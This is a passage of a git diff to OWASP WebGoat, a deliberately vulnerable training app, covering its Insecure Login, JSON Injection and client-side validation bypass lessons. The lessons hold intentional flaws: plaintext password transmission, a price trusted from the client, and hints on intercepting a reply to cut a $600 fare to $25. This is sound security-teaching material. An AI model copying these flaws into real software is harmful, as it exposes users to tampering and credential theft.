.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); + ec.addElement(sty); + + Div wrapperDiv = new Div(); + wrapperDiv.setID("lesson_wrapper"); + + Div headerDiv = new Div(); + headerDiv.setID("lesson_header"); + + Div workspaceDiv = new Div(); + workspaceDiv.setClass("lesson_workspace"); + + wrapperDiv.addElement(headerDiv); + wrapperDiv.addElement(workspaceDiv); + + ec.addElement(wrapperDiv); + + String user = s.getParser().getStringParameter(USER, ""); + String password = s.getParser().getStringParameter(PASSWORD, ""); + if (!(user + password).equals("") && correctLogin(user, password, s)) + { + workspaceDiv.addElement(createSuccessfulLoginContent(s, user)); + } + else + { + workspaceDiv.addElement(createLogInContent()); + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + * Create content for logging in + * + * @param ec + */ + private Element createLogInContent() + { + ElementContainer ec = new ElementContainer(); + Div loginDiv = new Div(); + loginDiv.setID("lesson_login"); + + Table table = new Table(); + table.addAttribute("align='center'", 0); + TR tr1 = new TR(); + TD td1 = new TD(); + TD td2 = new TD(); + td1.addElement(new StringElement("Enter your name: ")); + td2.addElement(new Input(Input.TEXT, USER).setValue("Jack").setReadOnly(true)); + tr1.addElement(td1); + tr1.addElement(td2); + + TR tr2 = new TR(); + TD td3 = new TD(); + TD td4 = new TD(); + td3.addElement(new StringElement("Enter your password: ")); + td4.addElement(new Input(Input.PASSWORD, PASSWORD).setValue("sniffy").setReadOnly(true)); + tr2.addElement(td3); + tr2.addElement(td4); + + TR tr3 = new TR(); + TD td5 = new TD(); + td5.setColSpan(2); + td5.setAlign("center"); + + td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); + tr3.addElement(td5); + + table.addElement(tr1); + table.addElement(tr2); + table.addElement(tr3); + loginDiv.addElement(table); + ec.addElement(loginDiv); + return ec; + + } + + /** + * Gets the category attribute of the ForgotPassword object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + + return Category.INSECURE_COMMUNICATION; + } + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add("Stage 1: Use a sniffer to record " + "the traffic"); + hints.add("Stage 1: What Protocol does the request use?"); + hints.add("Stage 1: What kind of request is started when " + "you click on the button?"); + hints.add("Stage 1: Take a closer look at the HTTP Post request in " + "your sniffer"); + hints.add("Stage 1: The password field has the name clear_pass"); + + return hints; + } + + private final static Integer DEFAULT_RANKING = new Integer(100); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Insecure Login"); + } + + @Override + public String getInstructions(WebSession s) + { + int stage = getLessonTracker(s).getStage(); + String instructions = ""; + instructions = "For this lesson you need to " + "have a server client setup. Please refer to the" + + "Tomcat Configuration in the Introduction section.

Stage" + stage + ": "; + if (stage == 1) + { + instructions += "In this stage you have to sniff the " + + "password. And answer the question after the login."; + } + if (stage == 2) + { + instructions += "Now you have to change to a secure " + "connection. The URL should start with https:// " + + "If your browser is complaining about the certificate just " + + "ignore it. Sniff again the traffic and answer the" + " questions"; + } + return instructions; + } + + /** + * See if the password and corresponding user is valid + * + * @param userName + * @param password + * @param s + * @return true if the password was correct + */ + private boolean correctLogin(String userName, String password, WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, userName); + prepStatement.setString(2, password); + + ResultSet results = prepStatement.executeQuery(); + + if ((results != null) && (results.first() == true)) { + + return true; + + } + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + return false; + + } + + /** + * Create content after a successful login + * + * @param s + * @param ec + */ + private Element createSuccessfulLoginContent(WebSession s, String user) + { + ElementContainer ec = new ElementContainer(); + + String userDataStyle = "margin-top:50px;"; + + Div userDataDiv = new Div(); + userDataDiv.setStyle(userDataStyle); + userDataDiv.addAttribute("align", "center"); + Table table = new Table(); + table.addAttribute("cellspacing", 10); + table.addAttribute("cellpadding", 5); + + table.addAttribute("align", "center"); + TR tr1 = new TR(); + TR tr2 = new TR(); + TR tr3 = new TR(); + TR tr4 = new TR(); + tr1.addElement(new TD("Firstname:")); + tr1.addElement(new TD(user)); + + try + { + ResultSet results = getUser(user, s); + results.first(); + + tr2.addElement(new TD("Lastname:")); + tr2.addElement(new TD(results.getString("last_name"))); + + tr3.addElement(new TD("Credit Card Type:")); + tr3.addElement(new TD(results.getString("cc_type"))); + + tr4.addElement(new TD("Credit Card Number:")); + tr4.addElement(new TD(results.getString("cc_number"))); + + } + + catch (Exception e) + { + e.printStackTrace(); + } + table.addElement(tr1); + table.addElement(tr2); + table.addElement(tr3); + table.addElement(tr4); + + userDataDiv.addElement(table); + ec.addElement(userDataDiv); + ec.addElement(createLogoutLink()); + + int stage = getLessonTracker(s).getStage(); + if (stage == 1) + { + ec.addElement(createPlaintextQuestionContent()); + } + else if (stage == 2) + { + ec.addElement(createSSLQuestionContent()); + } + + return ec; + } + + private Element createPlaintextQuestionContent() + { + ElementContainer ec = new ElementContainer(); + Div div = new Div(); + div.addAttribute("align", "center"); + div.addElement(new BR()); + div.addElement(new BR()); + div.addElement("What was the password?"); + div.addElement(new Input(Input.TEXT, ANSWER)); + div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); + ec.addElement(div); + return ec; + } + + private Element createSSLQuestionContent() + { + ElementContainer ec = new ElementContainer(); + Table selectTable = new Table(); + TR tr1 = new TR(); + TD td1 = new TD(); + TD td2 = new TD(); + TR tr2 = new TR(); + TD td3 = new TD(); + TD td4 = new TD(); + tr1.addElement(td1); + tr1.addElement(td2); + tr2.addElement(td3); + tr2.addElement(td4); + selectTable.addElement(tr1); + selectTable.addElement(tr2); + + Div div = new Div(); + div.addAttribute("align", "center"); + ec.addElement(new BR()); + ec.addElement(new BR()); + + td1.addElement("Is the password still transmited in plaintext?"); + Select yesNoSelect = new Select(); + yesNoSelect.setName(YESNO); + Option yesOption = new Option(); + yesOption.addElement("Yes"); + Option noOption = new Option(); + noOption.addElement("No"); + yesNoSelect.addElement(yesOption); + yesNoSelect.addElement(noOption); + td2.addElement(yesNoSelect); + + td3.addElement("Which protocol is used for the transmission?"); + Select protocolSelect = new Select(); + protocolSelect.setName(PROTOCOL); + Option httpOption = new Option(); + httpOption.addElement("HTTP"); + Option tcpOption = new Option(); + tcpOption.addElement("UDP"); + Option ipsecOption = new Option(); + ipsecOption.addElement("IPSEC"); + Option msnmsOption = new Option(); + msnmsOption.addElement("MSNMS"); + Option tlsOption = new Option(); + tlsOption.addElement("TLS"); + protocolSelect.addElement(httpOption); + protocolSelect.addElement(ipsecOption); + protocolSelect.addElement(msnmsOption); + protocolSelect.addElement(tcpOption); + protocolSelect.addElement(tlsOption); + td4.addElement(protocolSelect); + + div.addElement(selectTable); + + div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); + ec.addElement(div); + return ec; + } + + /** + * Get a user by its name + * + * @param user + * @param s + * @return ResultSet containing the user + */ + private ResultSet getUser(String user, WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, user); + + ResultSet results = prepStatement.executeQuery(); + + return results; + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + return null; + + } + + /** + * Create a link for logging out + * + * @return Element + */ + private Element createLogoutLink() + { + A logoutLink = new A(); + logoutLink.addAttribute("href", getLink() + "&logout=true"); + logoutLink.addElement("Logout"); + + String logoutStyle = "margin-right:50px; mrgin-top:30px"; + Div logoutDiv = new Div(); + logoutDiv.addAttribute("align", "right"); + logoutDiv.addElement(logoutLink); + logoutDiv.setStyle(logoutStyle); + + return logoutDiv; + } + + public Element getCredits() + { + return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/JSONInjection.java b/src/main/java/org/owasp/webgoat/lessons/JSONInjection.java index d84362f6a..4eeee5fe8 100644 --- a/src/main/java/org/owasp/webgoat/lessons/JSONInjection.java +++ b/src/main/java/org/owasp/webgoat/lessons/JSONInjection.java @@ -52,247 +52,247 @@ import java.util.ArrayList; public class JSONInjection extends LessonAdapter { - private final static Integer DEFAULT_RANKING = new Integer(30); + private final static Integer DEFAULT_RANKING = new Integer(30); - private final static String TRAVEL_FROM = "travelFrom"; + private final static String TRAVEL_FROM = "travelFrom"; - private final static String TRAVEL_TO = "travelTo"; + private final static String TRAVEL_TO = "travelTo"; - private final static IMG MAC_LOGO = new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured") - .setBorder(0).setHspace(0).setVspace(0); + private final static IMG MAC_LOGO = new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured") + .setBorder(0).setHspace(0).setVspace(0); - public void handleRequest(WebSession s) - { + public void handleRequest(WebSession s) + { - try - { - if (s.getParser().getRawParameter("from", "").equals("ajax")) - { - String lineSep = System.getProperty("line.separator"); - String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep - + "\"flights\": [" + lineSep - + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep - + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]" - + lineSep + "}"; - s.getResponse().setContentType("text/html"); - s.getResponse().setHeader("Cache-Control", "no-cache"); - PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); - out.print(jsonStr); - out.flush(); - out.close(); - return; - } - } catch (Exception ex) - { - ex.printStackTrace(); - } + try + { + if (s.getParser().getRawParameter("from", "").equals("ajax")) + { + String lineSep = System.getProperty("line.separator"); + String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep + + "\"flights\": [" + lineSep + + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep + + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]" + + lineSep + "}"; + s.getResponse().setContentType("text/html"); + s.getResponse().setHeader("Cache-Control", "no-cache"); + PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); + out.print(jsonStr); + out.flush(); + out.close(); + return; + } + } catch (Exception ex) + { + ex.printStackTrace(); + } - Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); - form.setOnSubmit("return check();"); + Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); + form.setOnSubmit("return check();"); - form.addElement(createContent(s)); + form.addElement(createContent(s)); - setContent(form); + setContent(form); - } + } - /** - * Description of the Method - * - * @param s - * Current WebSession - */ + /** + * Description of the Method + * + * @param s + * Current WebSession + */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; - ec.addElement(new StringElement(script)); - Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); + "function check(){" + + lineSep + + " if ( document.getElementById('radio0').checked )" + + lineSep + + " { document.getElementById('price2Submit').value = document.getElementById('priceID0').innerHTML; return true;}" + + lineSep + + " else if ( document.getElementById('radio1').checked )" + + lineSep + + " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}" + + lineSep + " else " + lineSep + " { alert('Please choose one flight'); return false;}" + lineSep + "}" + + lineSep + "" + lineSep; + ec.addElement(new StringElement(script)); + Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); - TR tr = new TR(); + TR tr = new TR(); - tr.addElement(new TD("From: ")); - Input in = new Input(Input.TEXT, TRAVEL_FROM, ""); - in.addAttribute("onkeyup", "getFlights();"); - in.addAttribute("id", TRAVEL_FROM); - tr.addElement(new TD(in)); + tr.addElement(new TD("From: ")); + Input in = new Input(Input.TEXT, TRAVEL_FROM, ""); + in.addAttribute("onkeyup", "getFlights();"); + in.addAttribute("id", TRAVEL_FROM); + tr.addElement(new TD(in)); - t1.addElement(tr); + t1.addElement(tr); - tr = new TR(); - tr.addElement(new TD("To: ")); - in = new Input(Input.TEXT, TRAVEL_TO, ""); - in.addAttribute("onkeyup", "getFlights();"); - in.addAttribute("id", TRAVEL_TO); - tr.addElement(new TD(in)); + tr = new TR(); + tr.addElement(new TD("To: ")); + in = new Input(Input.TEXT, TRAVEL_TO, ""); + in.addAttribute("onkeyup", "getFlights();"); + in.addAttribute("id", TRAVEL_TO); + tr.addElement(new TD(in)); - t1.addElement(tr); - ec.addElement(t1); + t1.addElement(tr); + ec.addElement(t1); - ec.addElement(new BR()); - ec.addElement(new BR()); - Div div = new Div(); - div.addAttribute("name", "flightsDiv"); - div.addAttribute("id", "flightsDiv"); - ec.addElement(div); + ec.addElement(new BR()); + ec.addElement(new BR()); + Div div = new Div(); + div.addAttribute("name", "flightsDiv"); + div.addAttribute("id", "flightsDiv"); + ec.addElement(div); - Input b = new Input(); - b.setType(Input.SUBMIT); - b.setValue("Submit"); - b.setName("SUBMIT"); - ec.addElement(b); + Input b = new Input(); + b.setType(Input.SUBMIT); + b.setValue("Submit"); + b.setName("SUBMIT"); + ec.addElement(b); - Input price2Submit = new Input(); - price2Submit.setType(Input.HIDDEN); - price2Submit.setName("price2Submit"); - price2Submit.setValue(""); - price2Submit.addAttribute("id", "price2Submit"); - ec.addElement(price2Submit); - if (s.getParser().getRawParameter("radio0", "").equals("on")) - { - String price = s.getParser().getRawParameter("price2Submit", ""); - price = price.replace("$", ""); - if (Integer.parseInt(price) < 600) - { - makeSuccess(s); - } - else - { - s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600"); - } - } - return ec; - } + Input price2Submit = new Input(); + price2Submit.setType(Input.HIDDEN); + price2Submit.setName("price2Submit"); + price2Submit.setValue(""); + price2Submit.addAttribute("id", "price2Submit"); + ec.addElement(price2Submit); + if (s.getParser().getRawParameter("radio0", "").equals("on")) + { + String price = s.getParser().getRawParameter("price2Submit", ""); + price = price.replace("$", ""); + if (Integer.parseInt(price) < 600) + { + makeSuccess(s); + } + else + { + s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600"); + } + } + return ec; + } - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO); + } - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } + protected Category getDefaultCategory() + { + return Category.AJAX_SECURITY; + } - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("JSON stands for JavaScript Object Notation."); - hints.add("JSON is a way of representing data just like XML."); - hints.add("The JSON payload is easily interceptable."); - hints.add("Intercept the reply, change the $600 to $25."); - return hints; + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("JSON stands for JavaScript Object Notation."); + hints.add("JSON is a way of representing data just like XML."); + hints.add("The JSON payload is easily interceptable."); + hints.add("Intercept the reply, change the $600 to $25."); + return hints; - } + } - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("JSON Injection"); - } + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("JSON Injection"); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/JavaScriptValidation.java b/src/main/java/org/owasp/webgoat/lessons/JavaScriptValidation.java index f1cc215de..55bae2956 100644 --- a/src/main/java/org/owasp/webgoat/lessons/JavaScriptValidation.java +++ b/src/main/java/org/owasp/webgoat/lessons/JavaScriptValidation.java @@ -50,222 +50,222 @@ import org.owasp.webgoat.util.WebGoatI18N; public class JavaScriptValidation extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { - ElementContainer ec = new ElementContainer(); + ElementContainer ec = new ElementContainer(); - // Regular expressions in Java and JavaScript compatible form + // Regular expressions in Java and JavaScript compatible form - // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax + // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax - // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one - // for JavaScript + // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one + // for JavaScript - String regex1 = "^[a-z]{3}$";// any three lowercase letters - String regex2 = "^[0-9]{3}$";// any three digits - String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation - String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of - // numbers - String regex5 = "^\\d{5}$";// simple zip code - String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four - String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes - Pattern pattern1 = Pattern.compile(regex1); - Pattern pattern2 = Pattern.compile(regex2); - Pattern pattern3 = Pattern.compile(regex3); - Pattern pattern4 = Pattern.compile(regex4); - Pattern pattern5 = Pattern.compile(regex5); - Pattern pattern6 = Pattern.compile(regex6); - Pattern pattern7 = Pattern.compile(regex7); - String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; - try - { - String param1 = s.getParser().getRawParameter("field1", "abc"); - String param2 = s.getParser().getRawParameter("field2", "123"); - String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC"); - String param4 = s.getParser().getRawParameter("field4", "seven"); - String param5 = s.getParser().getRawParameter("field5", "90210"); - String param6 = s.getParser().getRawParameter("field6", "90210-1111"); - String param7 = s.getParser().getRawParameter("field7", "301-604-4882"); - ec.addElement(new StringElement(script)); - TextArea input1 = new TextArea("field1", 1, 25).addElement(param1); - TextArea input2 = new TextArea("field2", 1, 25).addElement(param2); - TextArea input3 = new TextArea("field3", 1, 25).addElement(param3); - TextArea input4 = new TextArea("field4", 1, 25).addElement(param4); - TextArea input5 = new TextArea("field5", 1, 25).addElement(param5); - TextArea input6 = new TextArea("field6", 1, 25).addElement(param6); - TextArea input7 = new TextArea("field7", 1, 25).addElement(param7); + String regex1 = "^[a-z]{3}$";// any three lowercase letters + String regex2 = "^[0-9]{3}$";// any three digits + String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation + String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of + // numbers + String regex5 = "^\\d{5}$";// simple zip code + String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four + String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes + Pattern pattern1 = Pattern.compile(regex1); + Pattern pattern2 = Pattern.compile(regex2); + Pattern pattern3 = Pattern.compile(regex3); + Pattern pattern4 = Pattern.compile(regex4); + Pattern pattern5 = Pattern.compile(regex5); + Pattern pattern6 = Pattern.compile(regex6); + Pattern pattern7 = Pattern.compile(regex7); + String lineSep = System.getProperty("line.separator"); + String script = "" + lineSep; + try + { + String param1 = s.getParser().getRawParameter("field1", "abc"); + String param2 = s.getParser().getRawParameter("field2", "123"); + String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC"); + String param4 = s.getParser().getRawParameter("field4", "seven"); + String param5 = s.getParser().getRawParameter("field5", "90210"); + String param6 = s.getParser().getRawParameter("field6", "90210-1111"); + String param7 = s.getParser().getRawParameter("field7", "301-604-4882"); + ec.addElement(new StringElement(script)); + TextArea input1 = new TextArea("field1", 1, 25).addElement(param1); + TextArea input2 = new TextArea("field2", 1, 25).addElement(param2); + TextArea input3 = new TextArea("field3", 1, 25).addElement(param3); + TextArea input4 = new TextArea("field4", 1, 25).addElement(param4); + TextArea input5 = new TextArea("field5", 1, 25).addElement(param5); + TextArea input6 = new TextArea("field6", 1, 25).addElement(param6); + TextArea input7 = new TextArea("field7", 1, 25).addElement(param7); - Input b = new Input(); - b.setType(Input.BUTTON); - b.setValue("Submit"); - b.addAttribute("onclick", "validate();"); - ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("3LowerCase")+"(" - + regex1 + ")"))); - ec.addElement(new Div().addElement(input1)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("Exactly3Digits")+"(" + regex2 + ")"))); - ec.addElement(new Div().addElement(input2)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("LettersNumbersSpaceOnly")+"(" + regex3 - + ")"))); - ec.addElement(new Div().addElement(input3)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("EnumerationOfNumbers")+" (" + regex4 + ")"))); - ec.addElement(new Div().addElement(input4)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("SimpleZipCode")+ " (" + regex5 + ")"))); - ec.addElement(new Div().addElement(input5)); - ec.addElement(new P()); - ec.addElement(new Div() - .addElement(new StringElement(WebGoatI18N.get("ZIPDashFour")+" (" + regex6 + ")"))); - ec.addElement(new Div().addElement(input6)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("USPhoneNumber")+ " (" - + regex7 + ")"))); - ec.addElement(new Div().addElement(input7)); - ec.addElement(new P()); - ec.addElement(b); + Input b = new Input(); + b.setType(Input.BUTTON); + b.setValue("Submit"); + b.addAttribute("onclick", "validate();"); + ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("3LowerCase")+"(" + + regex1 + ")"))); + ec.addElement(new Div().addElement(input1)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("Exactly3Digits")+"(" + regex2 + ")"))); + ec.addElement(new Div().addElement(input2)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("LettersNumbersSpaceOnly")+"(" + regex3 + + ")"))); + ec.addElement(new Div().addElement(input3)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("EnumerationOfNumbers")+" (" + regex4 + ")"))); + ec.addElement(new Div().addElement(input4)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("SimpleZipCode")+ " (" + regex5 + ")"))); + ec.addElement(new Div().addElement(input5)); + ec.addElement(new P()); + ec.addElement(new Div() + .addElement(new StringElement(WebGoatI18N.get("ZIPDashFour")+" (" + regex6 + ")"))); + ec.addElement(new Div().addElement(input6)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement(WebGoatI18N.get("USPhoneNumber")+ " (" + + regex7 + ")"))); + ec.addElement(new Div().addElement(input7)); + ec.addElement(new P()); + ec.addElement(b); - // Check the patterns on the server -- and note the errors in the response - // these should never match unless the client side pattern script doesn't work + // Check the patterns on the server -- and note the errors in the response + // these should never match unless the client side pattern script doesn't work - int err = 0; - String msg = ""; + int err = 0; + String msg = ""; - if (!pattern1.matcher(param1).matches()) - { - err++; - msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+" Field1."; - } + if (!pattern1.matcher(param1).matches()) + { + err++; + msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+" Field1."; + } - if (!pattern2.matcher(param2).matches()) - { - err++; - msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+" Field2."; - } + if (!pattern2.matcher(param2).matches()) + { + err++; + msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+" Field2."; + } - if (!pattern3.matcher(param3).matches()) - { - err++; - msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field3."; - } + if (!pattern3.matcher(param3).matches()) + { + err++; + msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field3."; + } - if (!pattern4.matcher(param4).matches()) - { - err++; - msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field4."; - } + if (!pattern4.matcher(param4).matches()) + { + err++; + msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field4."; + } - if (!pattern5.matcher(param5).matches()) - { - err++; - msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field5."; - } + if (!pattern5.matcher(param5).matches()) + { + err++; + msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field5."; + } - if (!pattern6.matcher(param6).matches()) - { - err++; - msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field6."; - } + if (!pattern6.matcher(param6).matches()) + { + err++; + msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field6."; + } - if (!pattern7.matcher(param7).matches()) - { - err++; - msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field7."; - } + if (!pattern7.matcher(param7).matches()) + { + err++; + msg += "
"+WebGoatI18N.get("ServerSideValidationViolation")+"Field7."; + } - if (err > 0) - { - s.setMessage(msg); - } - if (err >= 7) - { - // This means they defeated all the client side checks - makeSuccess(s); - } - } + if (err > 0) + { + s.setMessage(msg); + } + if (err >= 7) + { + // This means they defeated all the client side checks + makeSuccess(s); + } + } - catch (Exception e) - { - s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); - e.printStackTrace(); - } + catch (Exception e) + { + s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.PARAMETER_TAMPERING; - } + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.PARAMETER_TAMPERING; + } - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(WebGoatI18N.get("JavaScriptValidationHint1")); - hints.add(WebGoatI18N.get("JavaScriptValidationHint2")); - hints.add(WebGoatI18N.get("JavaScriptValidationHint3")); - + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add(WebGoatI18N.get("JavaScriptValidationHint1")); + hints.add(WebGoatI18N.get("JavaScriptValidationHint2")); + hints.add(WebGoatI18N.get("JavaScriptValidationHint3")); + - return hints; - } + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(120); + private final static Integer DEFAULT_RANKING = new Integer(120); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Bypass Client Side JavaScript Validation"); - } + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Bypass Client Side JavaScript Validation"); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/LogSpoofing.java b/src/main/java/org/owasp/webgoat/lessons/LogSpoofing.java index 6e392195d..8e9ac7eff 100644 --- a/src/main/java/org/owasp/webgoat/lessons/LogSpoofing.java +++ b/src/main/java/org/owasp/webgoat/lessons/LogSpoofing.java @@ -55,106 +55,106 @@ import org.owasp.webgoat.util.WebGoatI18N; public class LogSpoofing extends LessonAdapter { - private static final String USERNAME = "username"; + private static final String USERNAME = "username"; - private static final String PASSWORD = "password"; - + private static 